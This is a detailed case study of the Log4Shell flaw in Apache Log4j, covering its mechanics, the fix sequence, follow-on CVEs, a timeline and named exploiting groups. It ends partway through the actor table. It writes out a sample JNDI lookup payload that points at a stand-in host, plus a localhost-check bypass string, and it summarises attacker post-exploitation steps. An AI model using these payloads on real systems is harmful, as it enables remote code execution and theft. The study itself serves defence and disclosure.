CASE STUDY

Log4Shell (CVE-2021-44228): The Case Study

A TeamStarWolf case study. Published 3 November 2026; every source checked as of that date.

Executive summary

Apache Log4j 2 is the logging library inside a large share of the world's Java software, usually several dependencies deep and often without the owner knowing it is there. In December 2021 the Log4j project disclosed that a feature added in 2013, the JNDI lookup, let anyone who could get a string into a log line make the server reach out to a directory service they controlled and load code from it. The trigger needed no account and no user interaction, and the string could arrive in a browser's User-Agent header, a chat message in a game, an email header, or any other field an application happened to log. The flaw carries the maximum CVSS score of 10.0, CISA added it to the Known Exploited Vulnerabilities catalog on the day the CVE was published, and within weeks it was in use by cryptominer botnets, ransomware crews, initial access brokers, and state-linked groups from China, Iran and North Korea.

What makes Log4Shell a lasting case study is less the bug than the response. The first fix, 2.15.0, was incomplete, and four more CVEs and eight more releases across three Java lines followed in the next twenty days. The configuration flag that Apache's own first announcement and much of the early guidance recommended was later called discredited by Apache itself. Organizations that tried to find the library found that scanners keyed on file names missed shaded and bundled copies, that for more than 80 percent of affected Maven packages Log4j sat more than one level deep, often five, and that none of the representative groups for SBOM-using organizations the CSRB spoke with reported using a Software Bill of Materials (SBOM) to find it. The US Cyber Safety Review Board called it an "endemic vulnerability" in July 2022, and the numbers since bear that out: CISA still listed it among the top routinely exploited vulnerabilities of 2023, and Sonatype counted about 40 million downloads of vulnerable Log4j versions from Maven Central in 2025 alone.

> Evidence grade: the vulnerability, the fix history, the exploitation by named actors, and the government response are **Confirmed** from the Apache project, the CVE and NVD records, CISA, the CSRB, and vendor primary reports. A few figures the CSRB relays from vendors, and the Conti activity known only through press reporting, are **Reported**. Where this study draws its own conclusion, it is labelled **Inferred**.

Key facts at a glance

Field	Value
Identifier	CVE-2021-44228, "Log4Shell"; GitHub advisory GHSA-jfh8-c2jp-5v3q [17][23]
Component	Apache Log4j 2, the `log4j-core` JAR only; applications that use only `log4j-api` are not affected [2]
Weakness	Apache (CNA): CWE-20, CWE-400, CWE-502. NVD: CWE-917 [17][18]
CVSS	3.1 base 10.0, `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` [18]
Affected (Apache)	2.0-beta9 to before 2.3.1, 2.4 to before 2.12.2, 2.13.0 to before 2.15.0 [2]
Fixed for this CVE	2.15.0 (Java 8), 2.12.2 (Java 7), 2.3.1 (Java 6) [3]; the follow-on CVEs moved the safe targets to 2.17.1, 2.12.4 and 2.3.2 [13][45]
Root feature	JNDI Lookup plugin, LOG4J2-313, resolved 18 July 2013 for release 2.0-beta9 [6]
Reported to Apache	24 November 2021, 07:51 UTC, by an Alibaba Cloud Security engineer; Apache credits Chen Zhaojun [25][3]
CVE reserved and published	26 November 2021 and 10 December 2021, Apache as CNA [17]
Earliest known exploitation	Over two days from 1 December 2021, per the CSRB [25]
CISA KEV	Added 10 December 2021, due 24 December 2021, known ransomware campaign use: Known [21]
EPSS	0.99999, percentile 1.0, on 3 November 2026 [22]
Follow-on CVEs	CVE-2021-45046, CVE-2021-4104, CVE-2021-45105, CVE-2021-44832 [25]
Long tail	About 13 percent of nearly 300 million Log4j downloads from Maven Central in 2025 still contained Log4Shell [68]

Key findings

- **A feature from 2013, not a coding slip.** The JNDI Lookup plugin was a community request accepted in July 2013 and shipped in 2.0-beta9, the first affected release (Confirmed [6][25]). Log4j evaluated `${prefix:name}` lookups when it wrote log lines, so a logged `${jndi:ldap://example.com/a}` string made the library connect to the LDAP server at that host and retrieve an object (Confirmed [26]).
- **Exploitation started before the public knew.** The CSRB reports the earliest known exploitation over two days beginning 1 December 2021, which the technology services company that saw it assessed as consistent with testing of the reporter's proof of concept. Cloudflare logged three attempts on 1 December, and Cisco Talos saw activity from 2 December (Confirmed [25][28][31]). The Board found no evidence of

use by Chinese, Iranian, North Korean or Russian actors before the 9 December disclosure (Confirmed [25]).

- **The first fix was not the last.** 2.15.0 reached Maven Central on 9 December. 2.16.0 followed on 13 December, CVE-2021-45046 showed 2.15.0 incomplete on 14 December, and 2.17.0 and 2.17.1 followed, with parallel Java 7 and Java 6 lines (Confirmed [9][11][5]). CVE-2021-45046 itself was rescored from 3.7 to 9.0 after remote code execution was demonstrated against 2.15.0 (Confirmed [4]).
- **The popular workaround did not hold.** The 10 December announcement offered the `log4j2.formatMsgNoLookups=true` property. Apache later listed it among "older (discredited) mitigation measures", because the Thread Context lookup path, `Logger.printf`, and some custom message factories still reached lookups (Confirmed [1][4]).
- **Everyone came.** Botnets (Mirai, Muhstik), cryptominers (Kinsing, XMRig), the new Khonsari ransomware, access brokers selling to ransomware affiliates, AvosLocker and NightSky operators, and state-linked groups including APT41, Magic Hound (APT35), Aquatic Panda, HAFNIUM, Lazarus and MuddyWater used it, by the sources' own confidence (Microsoft rates MuddyWater's Log4j access at moderate confidence) (Confirmed [29][30][31][32][34][35][36][37][38][40][50]). Mandiant reports that APT41 began exploiting it within hours of the Apache advisory (Confirmed [38]).
- **Finding it was the hard part.** Google counted 35,863 Maven Central artifacts depending on affected Log4j code, more than 8 percent of the repository, and for over 80 percent of affected packages the vulnerable code sat more than one level deep (Confirmed [59]). JFrog found that in about 65 percent of the Maven Central packages that embed Log4j code, it is included as classes rather than a whole JAR (Confirmed [60]). None of the representative groups for SBOM-using organizations that the CSRB spoke with reported using SBOMs to find vulnerable Log4j (Confirmed [25]).
- **It did not go away.** Log4Shell was first in CISA's top 15 routinely exploited vulnerabilities of 2021 and was still in the 2023 list, and a network telescope study saw exploitation continue from December 2021 to October 2025 (Confirmed [48][51][70]).

Top recommendations

1. **Upgrade, do not mitigate.** Run Log4j 2.17.1 or later on Java 8 and up, 2.12.4 on Java 7, or 2.3.2 on Java 6, the versions CISA named on 28 December 2021 (Confirmed [45]). Treat the `formatMsgNoLookups` property, the `LOG4J_FORMAT_MSG_NO_LOOKUPS` environment variable and the `%m{nolookups}` pattern as discredited (Confirmed [4]). Where you cannot upgrade at once, removing `JndiLookup.class` from the classpath is the temporary measure Apache documented (Confirmed [4]).
2. **Inventory by content, not by file name.** Use scanners that fingerprint the `JndiLookup` and `JndiManager` classes or read embedded Maven metadata, recurse into nested archives, and cover exploded class directories, because shaded and bundled copies do not appear as a `log4j-core-*.jar` file (Confirmed [60][61][62][63]).
3. **Block and watch egress.** Deny outbound LDAP and RMI from servers or allowlist known destinations, restrict DNS to approved resolvers, and alert on any outbound LDAP bind or JRMI from a server regardless of port (Confirmed [42][52][54]).
4. **Assume compromise on anything that was exposed.** Hunt for Java processes spawning shells or PowerShell, unusual Tomcat children on VMware Horizon, unexpected outbound LDAP, new local or domain administrator accounts, and Defender exclusions, the patterns the vendor reports and CISA

advisories describe (Confirmed [37][49][50][57]).

5. **Treat a WAF as a bridge.** CISA called a WAF important but incomplete, and Cloudflare and the OWASP Core Rule Set project documented bypasses (Confirmed [44][28][55]). Logged data that never crosses the WAF is not covered at all (Inferred).
6. **Close the Log4j 1.x and supply-chain tail.** Log4j 1.x reached end of life in 2015 and carries its own JNDI flaw, CVE-2021-4104 (Confirmed [10][2]). Ask for SBOMs that go below top-level dependencies and that are generated at build time, where shaded copies are visible (Inferred from [59][76][77]).

Scope and method

This study covers CVE-2021-44228 and its four follow-on CVEs, from the 2013 feature request through the long tail measured in 2025 and 2026. It draws on the Apache Log4j project's announcements, changelog, issue tracker and security pages; the CVE, NVD, KEV and EPSS records; CISA advisories and directives and the Cyber Safety Review Board report; primary vendor research from Microsoft, Mandiant, CrowdStrike, Check Point, Cisco Talos, Cloudflare, Bitdefender, 360 Netlab, Google, JFrog, Sonatype, Veracode and others; national CERT guidance from Switzerland and the Netherlands; open detection content; and the live MITRE ATT&CK, CWE and D3FEND records and the library's own data files. Every source was opened on 3 November 2026. Quotations are kept to a few words.

Grade	Meaning
Confirmed	A primary source was opened: the Apache project, a government agency, a CVE or NVD record, the vendor that observed the activity, or the MITRE record itself
Reported	Known only through a secondary source, such as press coverage or a government report relaying a vendor figure, whose original was not opened
Demonstrated	A public reproduction exists. No item here is graded Demonstrated, because no public exploit repository was opened; Apache's statement that remote code execution was demonstrated against 2.15.0 is graded as Apache's own Confirmed statement
Inferred	This study's own reasoning from the cited facts, labelled where it appears

This study grades a vendor's own first-hand report Confirmed when the report itself was opened; where that vendor is the only source for an event, the text names the vendor.

Attribution follows each vendor's own confidence language: "assessed", "suspected" and "likely" are carried through as the source wrote them. Version numbers and dates are given as each source states them; where Apache's own records disagree with each other, the study says so (see the discrepancies at the end of Part 1).

Part 1: the technical record

How a log line became a network call

Log4j 2 supports lookups, a `${prefix:name}` syntax in which the prefix names a lookup plugin and the name is what it should resolve. Lookups work in the configuration and when lines are logged (Confirmed [26]). The JNDI lookup, written `jndi:<name>`, hands the name to the Java Naming and Directory Interface (Confirmed [7]). In the vulnerable releases, if Log4j wrote a message containing `${jndi:ldap://example.com/a}`, it connected to the LDAP server at `example.com` and retrieved the object stored there (Confirmed [26]). An LDAP response can point the JVM at a remote Java class, which is how a logged string becomes code execution: the Netherlands NCSC and Fox-IT both describe LDAP responses carrying `javaCodeBase` or serialized data followed by an inbound Java class (Confirmed [53][54]).

Microsoft described the exploit string as `jndi` followed by a protocol (`ldap`, `ldaps`, `rmi`, `dns`, `iiop` or `http`) and then the attacker's domain (Confirmed [29]). CERT/CC's note VU#930724 (released 15 December 2021, last revised 17 April 2024) adds that lookups can be used to exfiltrate data or execute code through LDAP, RMI and DNS (Confirmed [24]). The DNS variant matters for defenders: it carries no payload, but a resolved name tells the attacker the target is vulnerable and can carry looked-up values out in the hostname (Inferred from [24][28]).

The feature dates to LOG4J2-313, "JNDI Lookup plugin support", created on 17 July 2013 and resolved on 18 July 2013 with fix version 2.0-beta9 (Confirmed [6]). The project's `changes.xml` dates release 2.0-beta9 to 14 September 2013, while the Jira version record gives 21 September 2013; either way, 2.0-beta9 is the first release in Apache's affected range (Confirmed [6][2]). The CSRB adds that a community member requested the plugin and supplied the patch, and that the team accepted it before the 2014 general availability release (Confirmed [25]).

Why Java's own defenses did not stop it

Oracle's JDK 8u121 release notes disabled remote class loading through JNDI object factories by default, controlled by `com.sun.jndi.rmi.object.trustURLCodebase` and `com.sun.jndi.cosnaming.object.trustURLCodebase`, for the RMI Registry and COS Naming providers (Confirmed [16]). The note does not mention LDAP, so it did not close the LDAP path (Inferred from [16]). Apache's own 10 December announcement mentioned the 8u121 defaults (Confirmed [1]), and the Swiss national CERT, GovCERT.ch, updated its advice on 14 December to say that setting those properties to false does not fully mitigate the threat, because exploit code can be sent with the request (Confirmed [52]). AA21-356A, the joint advisory of CISA, the FBI, the NSA and Five Eyes partners, put it plainly: updating Java alone is not enough, the Log4j library itself must be upgraded (Confirmed [42]).

The fix sequence

Date (2021 unless noted)	Release or event	What changed	Source
29 and 30 Nov	Pull requests #607 and #608 opened	#608, "Restrict LDAP access via JNDI", merged 5 Dec at 04:03 UTC; #607 closed unmerged	[8] (Confirmed)
6 Dec	Tag `log4j-2.15.0-rc1` created	23:13 UTC; the fix work was public before disclosure	[8] (Confirmed)
9 Dec	log4j-core 2.15.0 on Maven Central	POM last modified 18:26 GMT; restricted JNDI LDAP to localhost by default on a best-effort basis	[9][4] (Confirmed)
10 Dec	Apache announcement of CVE-2021-44228	Mitigations for releases above 2.10: `log4j2.formatMsgNoLookups=true`, or `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class`	[1] (Confirmed)
13 Dec	2.16.0	JNDI disabled by default, requires `log4j2.enableJndi` (LOG4J2-3208); message lookups removed completely (LOG4J2-3211)	[5][9] (Confirmed)
14 Dec	2.12.2 (Java 7) on Maven Central	Java 7 line	[9] (Confirmed)
17 and 18 Dec	2.17.0	Fixed string substitution recursion (LOG4J2-3230); JNDI limited to the `java:` protocol and the property renamed to `log4j2.enableJndiLookup`, `log4j2.enableJndiJms` and `log4j2.enableJndiContextSelector` (LOG4J2-3242). `changes.xml` dates it 17 Dec; the POM reached Maven Central on 18 Dec	[5][9] (Confirmed)
20 and 21 Dec	2.12.3 (Java 7) and 2.3.1 (Java 6)	Java 7 and Java 6 lines	[9] (Confirmed)
27 to 29 Dec	2.17.1, then 2.12.4 and 2.3.2	JDBC Appender JNDI data source names limited to `java:` (LOG4J2-3293, CVE-2021-44832)	[9][13][15] (Confirmed)

Apache's current manual documents the end state: since 2.17.0 the JNDI lookup has to be enabled explicitly with `log4j2.enableJndiLookup=true`, and only the `java:` protocol is supported (Confirmed [7]).

The mitigations, and why most of them failed

The 10 December announcement gave two mitigations for releases above 2.10: the `log4j2.formatMsgNoLookups` system property, or deleting `JndiLookup.class` from the JAR (Confirmed [1]). Microsoft's guidance still described the `LOG4J_FORMAT_MSG_NO_LOOKUPS` environment variable as a workaround that works "on most devices" (Confirmed [29]). CERT/CC records an Apache Solr vendor statement that called passing `log4j2.formatMsgNoLookups=true` a suitable mitigation, alongside Solr 8.11.1, which bundles Log4j 2.16.0 (Confirmed [24]).

Apache later moved the property, the environment variable, and the `%m{nolookups}`, `%msg{nolookups}` and `%message{nolookups}` patterns (for 2.7 to 2.14.1) into a section titled "older (discredited) mitigation

measures", which only limit exposure while leaving some attack vectors open (Confirmed [4]). Its reason: besides the Thread Context lookup vector, message lookups could still happen through `Logger.printf("%s", userInput)` or through custom message factories whose messages do not implement `StringBuilderFormattable`. The safest course, Apache said, was to upgrade or remove the `JndiLookup` class (Confirmed [4]). Apache also said the class removal works in any release other than 2.16.0, that users should not enable JNDI in 2.16.0 because it still allows LDAP connections, and that anyone needing the JMS Appender should run 2.3.1, 2.12.2, 2.12.3 or 2.17.0, which support only the `java:` protocol (Confirmed [4]).

GovCERT.ch's original advice of 12 December was the property for 2.10 and later plus removal of `JndiLookup.class` (Confirmed [52]), the same pair Apache had published on 10 December (Confirmed [1]); that this was the common guidance of the first days is this study's reading (Inferred). The CVE-2021-45046 entry on Apache's security page, which describes Thread Context lookup paths that still reached JNDI after the 2.15.0 change, is why that property-based advice later proved insufficient (Inferred from [2]).

The follow-on CVEs

CVE	Announced	What it is	Severity	Fixed in	Source
CVE-2021-45046	14 Dec 2021	The 2.15.0 fix was incomplete for non-default Pattern Layouts using a Context Lookup such as `$${ctx:loginId}` or Thread Context Map patterns	Announced as moderate, CVSS 3.7 denial of service; Apache later raised it to Critical 9.0 after information leak, remote code execution and local code execution were found; NVD 9.0 `AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H`, CWE-917	2.16.0, 2.12.3, 2.3.1 (Apache page)	[11][4][19][2] (Confirmed)
CVE-2021-4104	13 Dec 2021	Log4j 1.2 JMSAppender performs JNDI requests through `TopicBindingName` and `TopicConnectionFactoryBindingName` when an attacker can write the configuration; not the default; deserialization of untrusted data	Not in KEV	None: Log4j 1.2 reached end of life in August 2015	[10][21] (Confirmed)
CVE-2021-45105	Reserved 16 Dec; dated 18 Dec by the CSRB	Denial of service through string substitution recursion	Not in KEV	2.17.0 (LOG4J2-3230), with 2.12.3 and 2.3.1	[17][25][5][2] (Confirmed)
CVE-2021-44832	28 Dec 2021	2.0-beta7 through 2.17.0 are open to remote code execution when an attacker who can modify the logging configuration uses a JDBC Appender with a JNDI data source URI	Moderate; NVD 6.6 `AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H`, CWE-20 (NVD), CWE-20 and CWE-74 (Apache)	2.17.1, 2.12.4, 2.3.2 (LOG4J2-3293)	[13][20][15] (Confirmed)

The 45046 announcement noted that the earlier configuration mitigations do not mitigate this vulnerability, and recommended removing `JndiLookup` below 2.16.0 (Confirmed [11]). Apache's security page later added that

remote code execution through 45046 was demonstrated on macOS, Fedora, Arch Linux and Alpine Linux, and warned users not to rely on 2.15.0's localhost-only JNDI restriction because it can be bypassed (Confirmed [4]). On 18 December an oss-security post credited Alvaro Munoz with that bypass: the standard URI class and JNDI interpret names differently, so a name such as `127.0.0.1#x.y.z` passes the localhost check and 2.15.0 can be vulnerable to remote code execution again (Confirmed [12]). The same post set two conditions: either a layout that puts attacker-controlled input outside the message, or lookups re-enabled; and it noted that some resolvers and likely recursors reject such a name outright (Confirmed [12]).

All four follow-on CVEs were assigned by Apache. Their reservation dates were 11 December for 44832, 13 December for 4104, 14 December for 45046 and 16 December for 45105 (Confirmed [17]).

Scores, catalogs and probability

CVE	CVSS (NVD)	KEV	EPSS on 3 Nov 2026
CVE-2021-44228	10.0	Added 10 Dec 2021, due 24 Dec 2021, ransomware use Known	0.99999 (percentile 1.0)
CVE-2021-45046	9.0	Added 1 May 2023, due 22 May 2023, ransomware use Known, CWE-917	0.99977
CVE-2021-45105	Not cited	Not listed	0.99999
CVE-2021-44832	6.6	Not listed	0.97906
CVE-2021-4104	Not cited	Not listed	0.80599

Sources: NVD [18][19][20], the KEV catalog version 2026.11.03 [21], and FIRST's EPSS API [22] (all Confirmed). KEV's required action for 44228 accepts only applying updates or removing affected assets, with the ED 22-02 temporary mitigations allowed only until updates are available (Confirmed [21]). The CISA KEV entry for 44228 lists CWE-20, CWE-400 and CWE-502, the Apache set, not NVD's CWE-917 (Confirmed [21]). GitHub published its reviewed advisory GHSA-jfh8-c2jp-5v3q at 00:40 UTC on 10 December, about nine and a half hours before NVD's 10:15 UTC publication (Confirmed [23][18]).

Discrepancies in the record

The primary record contradicts itself in several places. This study cites each figure to its own source and flags the conflicts rather than choosing silently.

- **Is 2.15.0 affected by 44228?** Apache's range for CVE-2021-44228 ends before 2.15.0 (Confirmed [2]). NVD's description reads 2.0-beta9 through 2.15.0, excluding 2.12.2, 2.12.3 and 2.3.1, treating 2.15.0 as affected (Confirmed [18]). In practice 2.15.0 is not a safe target either way, because of CVE-2021-45046 (Confirmed [2]).
- **The 45046 fix versions.** Jira LOG4J2-3221, opened 14 December, lists fix versions 2.16.0, 2.12.2 and 2.3.1, but Apache's security page lists 2.12.3 as the Java 7 fix and places 2.12.2 inside the affected range (Confirmed [14][2]).
- **The 44832 fix versions.** Apache's security page today lists CVE-2021-44832 as fixed in 2.3.1, 2.12.3 and 2.17.0 and references LOG4J2-3242. Apache's own 28 December announcement, NVD and Jira LOG4J2-3293 give 2.17.1, 2.12.4 and 2.3.2, and the CSRB gives 2.17.1 (Confirmed [13][20][15][25]). This

study treats the page entry as an error and cites the announcement (Inferred).

- **The 45046 title.** The CVE.org CNA title still describes CVE-2021-45046 as a denial of service, although Apache and NVD score it 9.0 for code execution (Confirmed [19]).
- **A misspelled property.** The 45046 announcement spelled the property `log4j2.noFormatMsgLookup`; the real property is `log4j2.formatMsgNoLookups` (Confirmed [11][1]).
- **The 2.0-beta9 date.** `changes.xml` gives 14 September 2013; the Jira version record gives 21 September 2013 (Confirmed [6]).
- **Which CWE.** The Apache CNA record lists CWE-20, CWE-400 and CWE-502; NVD's own analysis adds CWE-917; KEV carries the Apache set for 44228 and CWE-917 for 45046 (Confirmed [17][18][21]).
- **The Khonsari weekday.** Bitdefender dates its first Khonsari sighting to "Sunday, 11 th December", but 11 December 2021 was a Saturday. This study keeps the date and drops the weekday (Confirmed [35]; the weekday is from the calendar).
- **A library page to correct.** The CVE JSON example in this library's CVE Reference gives the solution "Upgrade to Log4j 2.15.0+", which is not a safe target, and the same page's statement that HAFNIUM exploited Log4Shell is supported by Microsoft's reporting but not by the live ATT&CK T1190 text (Confirmed [89][2][29][78]).

Part 2: the timeline

Date	Event	Source	Grade
17 to 18 Jul 2013	LOG4J2-313, "JNDI Lookup plugin support", created and resolved for 2.0-beta9	[6][25]	Confirmed
14 Sep 2013	Release 2.0-beta9 dated in `changes.xml` (Jira gives 21 Sep)	[6]	Confirmed
Aug 2015	Log4j 1.2 reaches end of life	[10][2]	Confirmed
12 Jul 2021	NTIA publishes the SBOM minimum elements under Executive Order 14028, five months before Log4Shell	[71]	Confirmed
24 Nov 2021, 07:51 UTC	An Alibaba Cloud Security engineer emails `security@apache.org` and the Logging PMC	[25]	Confirmed
26 Nov 2021	CVE-2021-44228 reserved	[17]	Confirmed
29 Nov to 6 Dec 2021	Pull requests #607 and #608 opened; #608 merged 5 Dec; tag `log4j-2.15.0-rc1` created 6 Dec	[8]	Confirmed
1 Dec 2021	Earliest known exploitation, over two days, consistent with testing of the reporter's proof of concept	[25]	Confirmed
1 Dec 2021	Cloudflare logs three `${jndi:ldap}` attempts in the User-Agent, Referer and URI parameters, the first at 03:58:34 (time zone not stated), which it calls attempted exploitation or scanning	[28]	Confirmed
1 Dec 2021	AA21-356A says exploitation reportedly began on or around this date, attributing it to public reporting	[42]	Reported
2 Dec 2021	Cisco Talos observes attacker activity, with unverified reports from 1 Dec	[31]	Confirmed
9 Dec 2021, 14:06 UTC	The Alibaba engineer tells Apache the flaw is being discussed on WeChat, in a BoundaryX post with a redacted proof-of-concept screenshot; the CSRB calls 2.15.0-rc1 a reasonable hypothesis for the source, which it could not verify	[25]	Confirmed
9 Dec 2021, 14:25 UTC	Public disclosure in a now-deleted tweet; Cloudflare's next attempt comes nine minutes later	[28]	Confirmed
9 Dec 2021, 18:26 GMT	log4j-core 2.15.0 on Maven Central	[9]	Confirmed
10 Dec 2021	Apache announces CVE-2021-44228; the CVE is published; GitHub advisory at 00:40 UTC, NVD at 10:15 UTC; CISA adds it to KEV	[1][17][23][18][21]	Confirmed
10 Dec 2021	Cloudflare publishes its technical explainer and first captured payloads; Talos publishes its advisory (updated to 21 Dec)	[26][27][31]	Confirmed
10 Dec 2021	Within hours of the Apache advisory, APT41 begins exploiting Log4j	[38]	Confirmed

Date	Event	Source	Grade
Within a day of disclosure	APT41 exploits MobileIron Core and deploys KEYPLUG.LINUX	[39]	Confirmed
10 to 12 Dec 2021	Cloudflare's mean blocked Log4j requests per minute rise from 5,483 (10 Dec) to 27,439 (12 Dec)	[28]	Confirmed
11 Dec 2021	Microsoft publishes its guidance, later updated many times	[29]	Confirmed
11 Dec 2021	360 Netlab's honeypots catch two waves, a Mirai variant and Muhstik	[36]	Confirmed
11 Dec 2021	Bitdefender sees the new Khonsari ransomware delivered through Log4Shell (Bitdefender calls it Sunday, 11 December; that date was a Saturday)	[35]	Confirmed
11 to 14 Dec 2021	Detection tooling appears: Tenable plugins (11 Dec), the Neo23x0 log detector (11 Dec), the Amazon Corretto hot patch (12 Dec), CISA's affected-products database (13 Dec), the CERT/CC scanner (14 Dec) and JFrog's tools repository (14 Dec)	[65][58][66][47][64][61]	Confirmed
12 Dec 2021	Conti appears to take interest, by AdvIntel's account relayed by BleepingComputer	[41]	Reported
12 Dec 2021	GovCERT.ch publishes guidance and indicators	[52]	Confirmed
13 Dec 2021	Apache announces CVE-2021-4104 (Log4j 1.2); 2.16.0 released; Bitdefender sees what appears to be Orcus RAT from the same server's class; Conti begins looking for victims (Reported)	[10][5][35][41]	Confirmed, except Conti
About 13 Dec 2021	Check Point sees APT35 begin scanning and exploitation four days after disclosure (date derived from the report)	[40]	Confirmed
13 Dec 2021	Alibaba notifies the PRC Ministry of Industry and Information Technology, per the PRC government's statement to the CSRB	[25]	Confirmed
14 Dec 2021	Apache announces CVE-2021-45046 at CVSS 3.7; Microsoft reports nation-state use from China, Iran, North Korea and Turkey and access brokers selling to ransomware affiliates; Cloudflare reports 400 exploitation attempts per second (as relayed by the CSRB)	[11][29][25]	Confirmed; the 400 per second figure Reported
15 Dec 2021	CERT/CC releases VU#930724; Microsoft's update confirms Khonsari on self-hosted Minecraft servers	[24][29]	Confirmed
16 Dec 2021	CVE-2021-45105 reserved; OWASP CRS publishes its public WAF bypass hunt; Google counts 35,863 affected Maven Central artifacts as of this date	[17][55][59]	Confirmed
17 Dec 2021	CISA issues Emergency Directive 22-02; Google publishes its dependency analysis; 2.17.0 dated in `changes.xml`	[43][59][5]	Confirmed

Date	Event	Source	Grade
18 Dec 2021	The Munoz bypass of 2.15.0's localhost restriction is posted; 2.17.0 reaches Maven Central; the CSRB dates CVE-2021-45105 to this day	[12][9][25]	Confirmed
22 Dec 2021	AA21-356A, the joint Five Eyes advisory	[42]	Confirmed
23 Dec 2021	ED 22-02 deadline for federal civilian agencies to find, patch, mitigate or remove affected internet-facing stacks	[43]	Confirmed
28 Dec 2021	Apache announces CVE-2021-44832; 2.17.1 on Maven Central (27 Dec); CISA urges 2.17.1, 2.12.4 and 2.3.2; ED 22-02 reports due	[13][9][45][43]	Confirmed
29 Dec 2021	CrowdStrike reports AQUATIC PANDA's attempted intrusion at a large academic institution	[37]	Confirmed
30 Dec 2021	JFrog finds about 400 Maven Central packages that include Log4j code directly	[60]	Confirmed
4 Jan 2022	Microsoft sees DEV-0401 exploit VMware Horizon and deploy NightSky ransomware (reported 10 Jan)	[29]	Confirmed
4 Jan 2022	The FTC warns it will use its full legal authority against companies that fail to protect consumer data from Log4j exposure (known through the CSRB; the FTC page now returns 404)	[25]	Reported
11 Jan 2022	Check Point publishes the APT35 CharmPower report	[40]	Confirmed
13 Jan 2022	White House meeting on software security; the readout does not name Log4j	[72]	Confirmed
19 Jan 2022	Microsoft reports Log4j attacks propagated through SolarWinds Serv-U CVE-2021-35247	[29]	Confirmed
24 Jan 2022	A DoD memorandum raises supply chain risk concerns about externally maintained code (known through the CSRB)	[25]	Reported
Late Jan 2022 or earlier	Initial access, likely through Log4Shell, at AA22-174A's Victim 2	[49]	Confirmed
Feb 2022	Likely Iranian government-sponsored actors compromise a federal civilian network through Horizon (AA22-320A)	[50]	Confirmed
Feb to Jul 2022	Lazarus Group targets energy companies in the US, Canada and Japan through Horizon	[32]	Confirmed
7 Feb to 8 Mar 2022	AvosLocker intrusion through two Horizon Unified Access Gateways (MITRE campaign C0018)	[34][82]	Confirmed
Late Feb 2022	APT41 re-compromises two earlier state government victims	[38]	Confirmed
8 Mar 2022	Mandiant publishes its APT41 state government report (campaign May 2021 to Feb 2022, MITRE C0017)	[38][81]	Confirmed

Date	Event	Source	Grade
27 Mar 2022	Mandiant's MobileIron survey: 22 clusters exploited CVE-2021-44228	[39]	Confirmed
8 Apr 2022	CISA closes ED 22-02 and moves its required actions to BOD 22-01; CISA's mitigation page calls a WAF important but incomplete	[43][44]	Confirmed
27 Apr 2022	AA22-117A lists CVE-2021-44228 first among the top routinely exploited vulnerabilities of 2021	[48]	Confirmed
12 to 13 May 2022	OpenSSF and the Linux Foundation set a 10-stream mobilization plan	[73]	Confirmed
23 Jun 2022	AA22-174A on Horizon and UAG exploitation	[49]	Confirmed
11 Jul 2022	The CSRB publishes its report	[25]	Confirmed
23 and 25 Jul 2022	MERCURY (MuddyWater) exploits SysAid servers in Israel, most likely through Log4j 2 (reported 25 Aug)	[30]	Confirmed
8 Sep 2022	Talos reports the Lazarus energy campaign	[32]	Confirmed
14 Sep 2022	OMB M-22-18 requires producer self-attestation to NIST SSDF practices	[74]	Confirmed
16 Nov 2022	AA22-320A, CISA and the FBI	[50]	Confirmed
Mar 2023	Lazarus's NineRAT first used, in Operation Blacksmith	[33]	Confirmed
1 May 2023	CVE-2021-45046 added to KEV	[21]	Confirmed
Aug to Nov 2023	Veracode scans 38,278 applications: 38 percent use vulnerable Log4j	[67]	Confirmed
11 Dec 2023	Talos reports Operation Blacksmith	[33]	Confirmed
23 Oct 2024	The EU Cyber Resilience Act is signed (Regulation (EU) 2024/2847 of 23 October 2024), with a top-level-dependency SBOM requirement	[77]	Confirmed
12 Nov 2024	AA24-317A lists CVE-2021-44228 in the top 15 routinely exploited vulnerabilities of 2023	[51]	Confirmed
10 Dec 2025	Sonatype: about 13 percent of 2025 Log4j downloads from Maven Central still contained Log4Shell	[68]	Confirmed
7 Jan 2026	Network telescope study covering Dec 2021 to Oct 2025 (revised 18 May 2026)	[70]	Confirmed
23 Jan 2026	OMB M-26-05 rescinds M-22-18 and M-23-16	[75]	Confirmed

Part 3: who exploited it

Log4Shell drew every kind of attacker at once. The record below separates the actors the sources name, the confidence each source states, and whether MITRE ATT&CK records the Log4j use.

State-linked groups

Actor	What the source reports	Source and confidence	ATT&CK object	Grade
APT41 (China)	Began exploiting Log4j within hours of the 10 Dec advisory; compromised at least two US state governments plus insurance and telecommunications targets; part of a May 2021 to Feb 2022 campaign that compromised at least six state networks, which also used the USAHerds zero-day CVE-2021-44207. After exploitation: YSoSerial deserialization payloads, ping commands to attacker DNS for reconnaissance, and a new KEYPLUG.LINUX backdoor fetched with `wget`, run with `nohup`, split into four files and packed with VMProtect. Mandiant says the goals are currently unknown and cannot make a definitive assessment of motive	Mandiant [38], timeline stated without a hedge	G0096, campaign C0017, whose T1190 entry names CVE-2021-44228 [81]	Confirmed
APT41 on MobileIron	Exploited MobileIron Core within a day of disclosure and deployed KEYPLUG.LINUX against a telecommunications company, a US financial firm and two US state government agencies	Mandiant [39]	G0096	Confirmed
Magic Hound / APT35 / Charming Kitten / PHOSPHORUS (Iran)	Check Point: widespread scanning and exploitation four days after disclosure using a public JNDI exploit kit, with the string in User-Agent or Authorization headers; a Java class ran Base64 PowerShell that fetched the new modular CharmPower backdoor from Amazon S3. Microsoft: PHOSPHORUS acquired and modified the exploit, and Microsoft assessed it had operationalized the modifications	Check Point [40] ("suspected to be an Iranian nation-state actor", on code and infrastructure overlaps); Microsoft [29] (assessment)	G0059 lists T1595.002 and T1190 for Log4j; software S0674 CharmPower [83]	Confirmed
Aquatic Panda (China)	Attempted intrusion at a large academic institution through a vulnerable VMware Horizon Tomcat service; DNS lookups to a public DNS logging service, a likely modified Log4j exploit, Linux commands on a Windows host, Base64 PowerShell, `curl` and `wget` downloads, an attempt to stop a third-party EDR, a reverse shell likely loaded through DLL search-order hijacking, LSASS dumping with `rdrleakdiag.exe` and a renamed `createdump`, WinRAR compression, and file deletion	CrowdStrike [37]; the China attribution is stated without a hedge, the exploit and reverse-shell steps are hedged	G0143, T1595.002 [84]	Confirmed

Actor	What the source reports	Source and confidence	ATT&CK object	Grade
